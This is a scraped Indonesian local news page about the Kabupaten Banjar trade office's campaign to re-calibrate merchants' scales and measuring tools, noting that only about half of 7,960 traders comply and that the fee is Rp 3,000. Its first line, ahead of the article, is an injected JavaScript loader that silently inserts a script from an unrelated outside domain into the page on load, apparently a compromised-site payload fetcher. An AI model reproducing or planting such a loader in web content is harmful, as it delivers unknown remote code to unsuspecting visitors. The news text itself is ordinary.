(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

7.960 Pedagang, Baru Separo yang Tera Ulang Timbangan dan Takaran


MARTAPURA, Dinas Perdagangan (Disperindag) melalui Bidang Pengawasan dan Kemetrologian terus bersosialisasi tugas pokok dan fungsi (tupoksi) baru yang kini ditangani. Yakni Kemetrologian. Temasuk dalam bidang tera Ukuran, Timbangan, Takaran dan Perlengkapannya (UTTP).

H M Ramlan, Kepala Disperindag Kabupaten Banjar didampingi Kabid Pengawasan Perdagangan dan Kemetrologian, Aina mengatakan, pihaknya terus melaksanakan sosialisasi terkait pelaksanaan kemetrologian yang kini dilaksanakan oleh Pemerintah Kabupaten (Pemkab) Banjar.

Sebelumnya, ujar Ramlan, kewenangan tera ulang dilaksanakan pemerintah provinsi.

“Pemerintah kabupaten sebatas pengawasan. Tapi setelah penerapan UU 23/2014, tera ulang timbangan, takaran, dan meteran dilaksanakan masing-masing kabupaten/kota,” katanya.

Para pedagang di pasar-pasar, menjadi sasaran utama sosialisasi. Ada juga pengusaha SPBU dan SPBE yang memang berkewajiban menera ulang peralatan takar bahan bakarnya setahun sekali.

Disampaikan Aina, Kabid Penngawasan Perdagangan dan Kemetrologian, jumlah pedagang pengguna perangkat timbangan dan takaran di Kabupaten Banjar sebanyak 7.960 pedagang. Termasuk dalam jumlah itu, adalah para pedagang emas. Kendati diakuinya, dari jumlah tersebut, hanya separonya yang menera ulang perangkat timbangan dan takarannya.

Itu menurut Aina, lantaran di kalangan pedagang masih ada berpikiran biaya tera ulang mahal.

“Padahal sejak biaya tera ulang sangat murah, hanya Rp 3.000. Hanya terkadang, selain tera ulang, juga dilakukan perbaikan. Nah ongkos perbaikan itu yang mungkin mungkin dinilai pedagang mahal,” katanya.

Diakuinya, karena tupoksi baru, belum semua kewenangan tera ulang dapat dilakukan. Semisal tera ulang meteran listrik dan leding, juga tera ulang jembatan timbang yang umumnya digunakan di perusahaan-perusahaan perkebunan dan pertambangan.

“Untuk tera meteran listrik, leding dan jembatan timbang memang belum dapat dilayani karena keterbatasan perangkat yang dimiliki,” kata Aina. (rudiyanto)


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

3 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

3 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

4 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

4 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

4 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

8 jam ago

This website uses cookies.